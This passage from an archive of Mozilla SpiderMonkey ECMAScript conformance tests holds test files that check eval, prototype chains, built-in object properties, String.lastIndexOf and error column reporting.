obj.__proto__.charCodeAt = String.prototype.charCodeAt; var s = ''; for ( var i = 0; i < 4; i++ ) s+= String.fromCharCode( obj.charCodeAt(i) ); s") ); new TestCase( SECTION, "var obj = 1234; obj.__proto__.charCodeAt = String.prototype.charCodeAt; var s = ''; for ( var i = 0; i < 4; i++ ) s+= String.fromCharCode( obj.charCodeAt(i) ); s", "1234", eval("var obj = 1234; obj.__proto__.charCodeAt = String.prototype.charCodeAt; var s = ''; for ( var i = 0; i < 4; i++ ) s+= String.fromCharCode( obj.charCodeAt(i) ); s") ); new TestCase( SECTION, "var obj = 'hello'; obj.__proto__.charCodeAt = String.prototype.charCodeAt; var s = ''; for ( var i = 0; i < 5; i++ ) s+= String.fromCharCode( obj.charCodeAt(i) ); s", "hello", eval("var obj = 'hello'; obj.__proto__.charCodeAt = String.prototype.charCodeAt; var s = ''; for ( var i = 0; i < 5; i++ ) s+= String.fromCharCode( obj.charCodeAt(i) ); s") ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.1.2.1-1.js0000664000175000017500000000663412106270663021642 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.2.1-1.js ECMA Section: 15.1.2.1 eval(x) if x is not a string object, return x. Description: Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.1.2.1-1"; var VERSION = "ECMA_1"; var TITLE = "eval(x)"; var BUGNUMBER = "none"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "eval.length", 1, eval.length ); new TestCase( SECTION, "delete eval.length", false, delete eval.length ); new TestCase( SECTION, "var PROPS = ''; for ( p in eval ) { PROPS += p }; PROPS", "", eval("var PROPS = ''; for ( p in eval ) { PROPS += p }; PROPS") ); new TestCase( SECTION, "eval.length = null; eval.length", 1, eval( "eval.length = null; eval.length") ); // new TestCase( SECTION, "eval.__proto__", Function.prototype, eval.__proto__ ); // test cases where argument is not a string. should return the argument. new TestCase( SECTION, "eval()", void 0, eval() ); new TestCase( SECTION, "eval(void 0)", void 0, eval( void 0) ); new TestCase( SECTION, "eval(null)", null, eval( null ) ); new TestCase( SECTION, "eval(true)", true, eval( true ) ); new TestCase( SECTION, "eval(false)", false, eval( false ) ); new TestCase( SECTION, "typeof eval(new String('Infinity/-0')", "object", typeof eval(new String('Infinity/-0')) ); new TestCase( SECTION, "eval([1,2,3,4,5,6])", "1,2,3,4,5,6", ""+eval([1,2,3,4,5,6]) ); new TestCase( SECTION, "eval(new Array(0,1,2,3)", "1,2,3", ""+ eval(new Array(1,2,3)) ); new TestCase( SECTION, "eval(1)", 1, eval(1) ); new TestCase( SECTION, "eval(0)", 0, eval(0) ); new TestCase( SECTION, "eval(-1)", -1, eval(-1) ); new TestCase( SECTION, "eval(Number.NaN)", Number.NaN, eval(Number.NaN) ); new TestCase( SECTION, "eval(Number.MIN_VALUE)", 5e-308, eval(Number.MIN_VALUE) ); new TestCase( SECTION, "eval(-Number.MIN_VALUE)", -5e-308, eval(-Number.MIN_VALUE) ); new TestCase( SECTION, "eval(Number.POSITIVE_INFINITY)", Number.POSITIVE_INFINITY, eval(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "eval(Number.NEGATIVE_INFINITY)", Number.NEGATIVE_INFINITY, eval(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "eval( 4294967296 )", 4294967296, eval(4294967296) ); new TestCase( SECTION, "eval( 2147483648 )", 2147483648, eval(2147483648) ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.9.5.js0000664000175000017500000000304112106270663021345 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.js ECMA Section: 15.9.5 Properties of the Date prototype object Description: The Date prototype object is itself a Date object (its [[Class]] is "Date") whose value is NaN. The value of the internal [[Prototype]] property of the Date prototype object is the Object prototype object (15.2.3.1). In following descriptions of functions that are properties of the Date prototype object, the phrase "this Date object" refers to the object that is the this value for the invocation of the function; it is an error if this does not refer to an object for which the value of the internal [[Class]] property is "Date". Also, the phrase "this time value" refers to the number value for the time represented by this Date object, that is, the value of the internal [[Value]] property of this Date object. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the Date Prototype Object"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Date.prototype.__proto__ == Object.prototype", true, Date.prototype.__proto__ == Object.prototype ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/trapflatclosure.js0000664000175000017500000000106312106270663024022 0ustar sstanglsstangl// |reftest| require-or(debugMode,skip) /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ var BUGNUMBER = 549617; var summary = 'flat closure debugged via trap while still active'; var expect = "abc"; var actual = expect; function a(x, y) { return function () { return x; }; } var f = a("abc", 123); if (this.trap && this.setDebug) { setDebug(true); trap(f, "try {actual = x} catch (e) {actual = e}"); } f(); reportCompare(expect, actual, summary); printStatus("All tests passed!"); mozjs17.0.0/js/src/tests/ecma/extensions/15.5.4.7-3.js0000664000175000017500000001044112106270663021647 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.7-3.js ECMA Section: 15.5.4.7 String.prototype.lastIndexOf( searchString, pos) Description: If the given searchString appears as a substring of the result of converting this object to a string, at one or more positions that are at or to the left of the specified position, then the index of the rightmost such position is returned; otherwise -1 is returned. If position is undefined or not supplied, the length of this string value is assumed, so as to search all of the string. When the lastIndexOf method is called with two arguments searchString and position, the following steps are taken: 1.Call ToString, giving it the this value as its argument. 2.Call ToString(searchString). 3.Call ToNumber(position). (If position is undefined or not supplied, this step produces the value NaN). 4.If Result(3) is NaN, use +; otherwise, call ToInteger(Result(3)). 5.Compute the number of characters in Result(1). 6.Compute min(max(Result(4), 0), Result(5)). 7.Compute the number of characters in the string that is Result(2). 8.Compute the largest possible integer k not larger than Result(6) such that k+Result(7) is not greater than Result(5), and for all nonnegative integers j less than Result(7), the character at position k+j of Result(1) is the same as the character at position j of Result(2); but if there is no such integer k, then compute the value -1. 1.Return Result(8). Note that the lastIndexOf function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.7-3"; var VERSION = "ECMA_2"; startTest(); var TITLE = "String.protoype.lastIndexOf"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 0 )", -1, eval("var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 0 )") ); new TestCase( SECTION, "var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 1 )", 1, eval("var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 1 )") ); new TestCase( SECTION, "var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 2 )", 1, eval("var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 2 )") ); new TestCase( SECTION, "var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 10 )", 1, eval("var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 10 )") ); new TestCase( SECTION, "var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r' )", 1, eval("var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r' )") ); test(); function LastIndexOf( string, search, position ) { string = String( string ); search = String( search ); position = Number( position ) if ( isNaN( position ) ) { position = Infinity; } else { position = ToInteger( position ); } result5= string.length; result6 = Math.min(Math.max(position, 0), result5); result7 = search.length; if (result7 == 0) { return Math.min(position, result5); } result8 = -1; for ( k = 0; k <= result6; k++ ) { if ( k+ result7 > result5 ) { break; } for ( j = 0; j < result7; j++ ) { if ( string.charAt(k+j) != search.charAt(j) ){ break; } else { if ( j == result7 -1 ) { result8 = k; } } } } return result8; } function ToInteger( n ) { n = Number( n ); if ( isNaN(n) ) { return 0; } if ( Math.abs(n) == 0 || Math.abs(n) == Infinity ) { return n; } var sign = ( n < 0 ) ? -1 : 1; return ( sign * Math.floor(Math.abs(n)) ); } mozjs17.0.0/js/src/tests/ecma/extensions/15.7.4.js0000664000175000017500000000421112106270663021342 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.4.js ECMA Section: 15.7.4 Description: The Number prototype object is itself a Number object (its [[Class]] is "Number") whose value is +0. The value of the internal [[Prototype]] property of the Number prototype object is the Object prototype object (15.2.3.1). In following descriptions of functions that are properties of the Number prototype object, the phrase "this Number object" refers to the object that is the this value for the invocation of the function; it is an error if this does not refer to an object for which the value of the internal [[Class]] property is "Number". Also, the phrase "this number value" refers to the number value represented by this Number object, that is, the value of the internal [[Value]] property of this Number object. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.7.4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the Number Prototype Object"; writeHeaderToLog( SECTION + " "+TITLE); new TestCase( SECTION, "Number.prototype.toString=Object.prototype.toString;Number.prototype.toString()", "[object Number]", eval("Number.prototype.toString=Object.prototype.toString;Number.prototype.toString()") ); new TestCase( SECTION, "typeof Number.prototype", "object", typeof Number.prototype ); new TestCase( SECTION, "Number.prototype.valueOf()", 0, Number.prototype.valueOf() ); // The __proto__ property cannot be used in ECMA_1 tests. // new TestCase( SECTION, "Number.prototype.__proto__", Object.prototype, Number.prototype.__proto__ ); // new TestCase( SECTION, "Number.prototype.__proto__ == Object.prototype", true, Number.prototype.__proto__ == Object.prototype ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.5.3.js0000664000175000017500000000205512106270663021343 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.3.1.js ECMA Section: 15.5.3 Properties of the String Constructor Description: The value of the internal [[Prototype]] property of the String constructor is the Function prototype object. In addition to the internal [[Call]] and [[Construct]] properties, the String constructor also has the length property, as well as properties described in 15.5.3.1 and 15.5.3.2. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.3"; var VERSION = "ECMA_2"; startTest(); var passed = true; writeHeaderToLog( SECTION + " Properties of the String Constructor" ); new TestCase( SECTION, "String.prototype", Function.prototype, String.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/errorcolumnblame.js0000664000175000017500000000344112106270663024162 0ustar sstanglsstangl/* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ var BUGNUMBER = 568142; var summary = 'error reporting blames column as well as line'; function test(f, col) { var caught = false; try { f(); } catch (e) { caught = true; assertEq(e.columnNumber, col); } assertEq(caught, true); } /* Note single hard tab before return! */ function foo(o) { return o.p; } test(foo, 1); //234567890123456789 test(function(f) { return f.bar; }, 19); test(function(f) { return f(); }, 19); /* Cover negative colspan case using for(;;) loop with error in update part. */ test(function(){ //0 1 2 3 4 //012345678901234567890123456789012345678901 eval("function baz() { for (var i = 0; i < 10; i += a.b); assertEq(i !== i, true); }"); baz(); }, 41); // 1 2 3 //234567890123456789012345678901234 test(function() { var tmp = null; tmp(); }, 34) test(function() { var tmp = null; tmp.foo; }, 35) /* Just a generic 'throw'. */ test(function() { //234567890123 foo({}); throw new Error('a'); }, 13); /* Be sure to report the right statement */ test(function() { function f() { return true; } function g() { return false; } //234567890123456789012345678 f(); g(); f(); if (f()) a += e; }, 28); //2345678901234567890 test(function() { e++; }, 18); test(function() {print += e; }, 17); test(function(){e += 1 }, 16); test(function() { print[e]; }, 19); test(function() { e[1]; }, 18); test(function() { e(); }, 18); test(function() { 1(); }, 18); test(function() { Object.defineProperty() }, 18); test(function() { //23456789012345678901 function foo() { asdf; } foo() }, 21); reportCompare(0, 0, "ok"); printStatus("All tests passed!"); mozjs17.0.0/js/src/tests/ecma/extensions/browser.js0000664000175000017500000000000012106270663022261 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/extensions/10.1.6.js0000664000175000017500000000530712106270663021340 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.6 ECMA Section: Activation Object Description: If the function object being invoked has an arguments property, let x be the value of that property; the activation object is also given an internal property [[OldArguments]] whose initial value is x; otherwise, an arguments property is created for the function object but the activation object is not given an [[OldArguments]] property. Next, arguments object described below (the same one stored in the arguments property of the activation object) is used as the new value of the arguments property of the function object. This new value is installed even if the arguments property already exists and has the ReadOnly attribute (as it will for native Function objects). (These actions are taken to provide compatibility with a form of program syntax that is now discouraged: to access the arguments object for function f within the body of f by using the expression f.arguments. The recommended way to access the arguments object for function f within the body of f is simply to refer to the variable arguments.) Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.6"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Activation Object"; writeHeaderToLog( SECTION + " "+ TITLE); var arguments = "FAILED!"; var ARG_STRING = "value of the argument property"; new TestCase( SECTION, "(new TestObject(0,1,2,3,4,5)).length", 6, (new TestObject(0,1,2,3,4,5)).length ); for ( i = 0; i < 6; i++ ) { new TestCase( SECTION, "(new TestObject(0,1,2,3,4,5))["+i+"]", i, (new TestObject(0,1,2,3,4,5))[i]); } // The current object already has an arguments property. new TestCase( SECTION, "(new AnotherTestObject(1,2,3)).arguments", ARG_STRING, (new AnotherTestObject(1,2,3)).arguments ); // The function invoked with [[Call]] new TestCase( SECTION, "TestFunction(1,2,3)", ARG_STRING, TestFunction() + '' ); test(); function Prototype() { this.arguments = ARG_STRING; } function TestObject() { this.__proto__ = new Prototype(); return arguments; } function AnotherTestObject() { this.__proto__ = new Prototype(); return this; } function TestFunction() { arguments = ARG_STRING; return arguments; } function AnotherTestFunction() { this.__proto__ = new Prototype(); return this; } mozjs17.0.0/js/src/tests/ecma/extensions/15.2.1.1.js0000664000175000017500000000325412106270663021477 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.1.1.js ECMA Section: 15.2.1.1 The Object Constructor Called as a Function: Object(value) Description: When Object is called as a function rather than as a constructor, the following steps are taken: 1. If value is null or undefined, create and return a new object with no properties other than internal properties exactly as if the object constructor had been called on that same value (15.2.2.1). 2. Return ToObject (value), whose rules are: undefined generate a runtime error null generate a runtime error boolean create a new Boolean object whose default value is the value of the boolean. number Create a new Number object whose default value is the value of the number. string Create a new String object whose default value is the value of the string. object Return the input argument (no conversion). Author: christine@netscape.com Date: 17 july 1997 */ var SECTION = "15.2.1.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Object( value )"; writeHeaderToLog( SECTION + " "+ TITLE); var NULL_OBJECT = Object(null); new TestCase( SECTION, "Object(null).__proto__", Object.prototype, (Object(null)).__proto__ ); new TestCase( SECTION, "Object(void 0).__proto__", Object.prototype, (Object(void 0)).__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.6.3.js0000664000175000017500000000203312106270663021340 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.3.js ECMA Section: 15.6.3 Properties of the Boolean Constructor Description: The value of the internal prototype property is the Function prototype object. It has the internal [[Call]] and [[Construct]] properties, and the length property. Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.3"; var VERSION = "ECMA_2"; startTest(); var TITLE = "Properties of the Boolean Constructor" writeHeaderToLog( SECTION + TITLE ); new TestCase( SECTION, "Boolean.__proto__ == Function.prototype", true, Boolean.__proto__ == Function.prototype ); new TestCase( SECTION, "Boolean.length", 1, Boolean.length ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/8.6.2.1-1.js0000664000175000017500000000620012106270663021556 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 8.6.2.1-1.js ECMA Section: 8.6.2.1 Get (Value) Description: When the [[Get]] method of O is called with property name P, the following steps are taken: 1. If O doesn't have a property with name P, go to step 4. 2. Get the value of the property. 3. Return Result(2). 4. If the [[Prototype]] of O is null, return undefined. 5. Call the [[Get]] method of [[Prototype]] with property name P. 6. Return Result(5). This tests [[Get]] (Value). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "8.6.2.1-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " [[Get]] (Value)"); new TestCase( SECTION, "var OBJ = new MyValuelessObject(true); OBJ.valueOf()", true, eval("var OBJ = new MyValuelessObject(true); OBJ.valueOf()") ); // new TestCase( SECTION, "var OBJ = new MyProtoValuelessObject(true); OBJ + ''", "undefined", eval("var OBJ = new MyProtoValuelessObject(); OBJ + ''") ); new TestCase( SECTION, "var OBJ = new MyProtolessObject(true); OBJ.valueOf()", true, eval("var OBJ = new MyProtolessObject(true); OBJ.valueOf()") ); new TestCase( SECTION, "var OBJ = new MyValuelessObject(Number.POSITIVE_INFINITY); OBJ.valueOf()", Number.POSITIVE_INFINITY, eval("var OBJ = new MyValuelessObject(Number.POSITIVE_INFINITY); OBJ.valueOf()") ); // new TestCase( SECTION, "var OBJ = new MyProtoValuelessObject(Number.POSITIVE_INFINITY); OBJ + ''", "undefined", eval("var OBJ = new MyProtoValuelessObject(); OBJ + ''") ); new TestCase( SECTION, "var OBJ = new MyProtolessObject(Number.POSITIVE_INFINITY); OBJ.valueOf()", Number.POSITIVE_INFINITY, eval("var OBJ = new MyProtolessObject(Number.POSITIVE_INFINITY); OBJ.valueOf()") ); new TestCase( SECTION, "var OBJ = new MyValuelessObject('string'); OBJ.valueOf()", 'string', eval("var OBJ = new MyValuelessObject('string'); OBJ.valueOf()") ); // new TestCase( SECTION, "var OBJ = new MyProtoValuelessObject('string'); OJ + ''", "undefined", eval("var OBJ = new MyProtoValuelessObject(); OBJ + ''") ); new TestCase( SECTION, "var OBJ = new MyProtolessObject('string'); OBJ.valueOf()", 'string', eval("var OBJ = new MyProtolessObject('string'); OBJ.valueOf()") ); test(); function MyProtoValuelessObject(value) { this.valueOf = new Function ( "" ); this.__proto__ = null; } function MyProtolessObject( value ) { this.valueOf = new Function( "return this.value" ); this.__proto__ = null; this.value = value; } function MyValuelessObject(value) { this.__proto__ = new MyPrototypeObject(value); } function MyPrototypeObject(value) { this.valueOf = new Function( "return this.value;" ); this.toString = new Function( "return (this.value + '');" ); this.value = value; } mozjs17.0.0/js/src/tests/ecma/extensions/15.3.2.1-1.js0000664000175000017500000000232412106270663021634 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.2.1.js ECMA Section: 15.3.2.1 The Function Constructor new Function(p1, p2, ..., pn, body ) Description: The last argument specifies the body (executable code) of a function; any preceding arguments sepcify formal parameters. See the text for description of this section. This test examples from the specification. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.2.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Function Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); var MyObject = new Function( "value", "this.value = value; this.valueOf = new Function( 'return this.value' ); this.toString = new Function( 'return String(this.value);' )" ); new TestCase( SECTION, "MyObject.__proto__ == Function.prototype", true, MyObject.__proto__ == Function.prototype ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/9.9-1.js0000664000175000017500000000575312106270663021277 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.9-1.js ECMA Section: 9.9 Type Conversion: ToObject Description: undefined generate a runtime error null generate a runtime error boolean create a new Boolean object whose default value is the value of the boolean. number Create a new Number object whose default value is the value of the number. string Create a new String object whose default value is the value of the string. object Return the input argument (no conversion). Author: christine@netscape.com Date: 17 july 1997 */ var VERSION = "ECMA_1"; startTest(); var SECTION = "9.9-1"; writeHeaderToLog( SECTION + " Type Conversion: ToObject" ); new TestCase( SECTION, "(Object(true)).__proto__", Boolean.prototype, (Object(true)).__proto__ ); new TestCase( SECTION, "(Object(true)).__proto__", Boolean.prototype, (Object(true)).__proto__ ); new TestCase( SECTION, "(Object(0)).__proto__", Number.prototype, (Object(0)).__proto__ ); new TestCase( SECTION, "(Object(-0)).__proto__", Number.prototype, (Object(-0)).__proto__ ); new TestCase( SECTION, "(Object(1)).__proto__", Number.prototype, (Object(1)).__proto__ ); new TestCase( SECTION, "(Object(-1)).__proto__", Number.prototype, (Object(-1)).__proto__ ); new TestCase( SECTION, "(Object(Number.MAX_VALUE)).__proto__", Number.prototype, (Object(Number.MAX_VALUE)).__proto__ ); new TestCase( SECTION, "(Object(Number.MIN_VALUE)).__proto__", Number.prototype, (Object(Number.MIN_VALUE)).__proto__ ); new TestCase( SECTION, "(Object(Number.POSITIVE_INFINITY)).__proto__", Number.prototype, (Object(Number.POSITIVE_INFINITY)).__proto__ ); new TestCase( SECTION, "(Object(Number.NEGATIVE_INFINITY)).__proto__", Number.prototype, (Object(Number.NEGATIVE_INFINITY)).__proto__ ); new TestCase( SECTION, "(Object(Number.NaN)).__proto__", Number.prototype, (Object(Number.NaN)).__proto__ ); new TestCase( SECTION, "(Object('a string')).__proto__", String.prototype, (Object("a string")).__proto__ ); new TestCase( SECTION, "(Object('')).__proto__", String.prototype, (Object("")).__proto__ ); new TestCase( SECTION, "(Object('\\r\\t\\b\\n\\v\\f')).__proto__", String.prototype, (Object("\\r\\t\\b\\n\\v\\f")).__proto__ ); new TestCase( SECTION, "Object( '\\\'\\\"\\' ).__proto__", String.prototype, (Object("\'\"\\")).__proto__ ); new TestCase( SECTION, "(Object( new MyObject(true) )).toString()", "[object Object]", eval("(Object( new MyObject(true) )).toString()") ); test(); function MyObject( value ) { this.value = value; this.valueOf = new Function ( "return this.value" ); } mozjs17.0.0/js/src/tests/ecma/extensions/11.6.2-1.js0000664000175000017500000000636712106270663021507 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.6.2-1.js ECMA Section: 11.6.2 The Subtraction operator ( - ) Description: The production AdditiveExpression : AdditiveExpression - MultiplicativeExpression is evaluated as follows: 1. Evaluate AdditiveExpression. 2. Call GetValue(Result(1)). 3. Evaluate MultiplicativeExpression. 4. Call GetValue(Result(3)). 5. Call ToNumber(Result(2)). 6. Call ToNumber(Result(4)). 7. Apply the subtraction operation to Result(5) and Result(6). See the discussion below (11.6.3). 8. Return Result(7). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.6.2-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The subtraction operator ( - )"); // tests "MyValuelessObject", where the value is // set in the object's prototype, not the object itself. new TestCase( SECTION, "var EXP_1 = new MyValuelessObject(true); var EXP_2 = new MyValuelessObject(false); EXP_1 - EXP_2", 1, eval("var EXP_1 = new MyValuelessObject(true); var EXP_2 = new MyValuelessObject(false); EXP_1 - EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyValuelessObject(new Boolean(true)); var EXP_2 = new MyValuelessObject(new Boolean(false)); EXP_1 - EXP_2", Number.NaN, eval("var EXP_1 = new MyValuelessObject(new Boolean(true)); var EXP_2 = new MyValuelessObject(new Boolean(false)); EXP_1 - EXP_2") ); // tests "MyValuelessObject", where the value is // set in the object's prototype, not the object itself. new TestCase( SECTION, "var EXP_1 = new MyValuelessObject(100); var EXP_2 = new MyValuelessObject(1); EXP_1 - EXP_2", 99, eval("var EXP_1 = new MyValuelessObject(100); var EXP_2 = new MyValuelessObject(1); EXP_1 - EXP_2") ); /* new TestCase( SECTION, "var EXP_1 = new MyValuelessObject(new Number(100)); var EXP_2 = new MyValuelessObject(new Number(1)); EXP_1 - EXP_2", Number.NaN, eval("var EXP_1 = new MyValuelessObject(new Number(100)); var EXP_2 = new MyValuelessObject(new Number(1)); EXP_1 - EXP_2") ); */ // same thing with string! test(); function MyProtoValuelessObject() { this.valueOf = new Function ( "" ); this.__proto__ = null; } function MyProtolessObject( value ) { this.valueOf = new Function( "return this.value" ); this.__proto__ = null; this.value = value; } function MyValuelessObject(value) { this.__proto__ = new MyPrototypeObject(value); } function MyPrototypeObject(value) { this.valueOf = new Function( "return this.value;" ); this.toString = new Function( "return (this.value + '');" ); this.value = value; } function MyObject( value ) { this.valueOf = new Function( "return this.value" ); this.value = value; } function MyOtherObject( value ) { this.valueOf = new Function( "return this.value" ); this.toString = new Function ( "return this.value + ''" ); this.value = value; } mozjs17.0.0/js/src/tests/ecma/extensions/11.6.1-3.js0000664000175000017500000000675412106270663021510 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.6.1-3.js ECMA Section: 11.6.1 The addition operator ( + ) Description: The addition operator either performs string concatenation or numeric addition. The production AdditiveExpression : AdditiveExpression + MultiplicativeExpression is evaluated as follows: 1. Evaluate AdditiveExpression. 2. Call GetValue(Result(1)). 3. Evaluate MultiplicativeExpression. 4. Call GetValue(Result(3)). 5. Call ToPrimitive(Result(2)). 6. Call ToPrimitive(Result(4)). 7. If Type(Result(5)) is String or Type(Result(6)) is String, go to step 12. (Note that this step differs from step 3 in the algorithm for comparison for the relational operators in using or instead of and.) 8. Call ToNumber(Result(5)). 9. Call ToNumber(Result(6)). 10. Apply the addition operation to Result(8) and Result(9). See the discussion below (11.6.3). 11. Return Result(10). 12. Call ToString(Result(5)). 13. Call ToString(Result(6)). 14. Concatenate Result(12) followed by Result(13). 15. Return Result(14). Note that no hint is provided in the calls to ToPrimitive in steps 5 and 6. All native ECMAScript objects except Date objects handle the absence of a hint as if the hint Number were given; Date objects handle the absence of a hint as if the hint String were given. Host objects may handle the absence of a hint in some other manner. This test does only covers cases where the Additive or Mulplicative expression is a Date. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.6.1-3"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The Addition operator ( + )"); // tests for a boolean primitive and a boolean object, and // "MyValuelessObject", where the value is set in the object's // prototype, not the object itself. var DATE1 = new Date(); var MYOB1 = new MyObject( DATE1 ); var MYOB2 = new MyValuelessObject( DATE1 ); var MYOB3 = new MyProtolessObject( DATE1 ); var MYOB4 = new MyProtoValuelessObject( DATE1 ); new TestCase( SECTION, "MYOB2 = new MyValuelessObject(DATE1); MYOB3 + 'string'", DATE1.toString() + "string", MYOB2 + 'string' ); new TestCase( SECTION, "MYOB2 = new MyValuelessObject(DATE1); MYOB3 + new String('string')", DATE1.toString() + "string", MYOB2 + new String('string') ); /* new TestCase( SECTION, "MYOB3 = new MyProtolessObject(DATE1); MYOB3 + new Boolean(true)", DATE1.toString() + "true", MYOB3 + new Boolean(true) ); */ test(); function MyProtoValuelessObject() { this.valueOf = new Function ( "" ); this.__proto__ = null; } function MyProtolessObject( value ) { this.valueOf = new Function( "return this.value" ); this.__proto__ = null; this.value = value; } function MyValuelessObject(value) { this.__proto__ = new MyPrototypeObject(value); } function MyPrototypeObject(value) { this.valueOf = new Function( "return this.value;" ); this.toString = new Function( "return (this.value + '');" ); 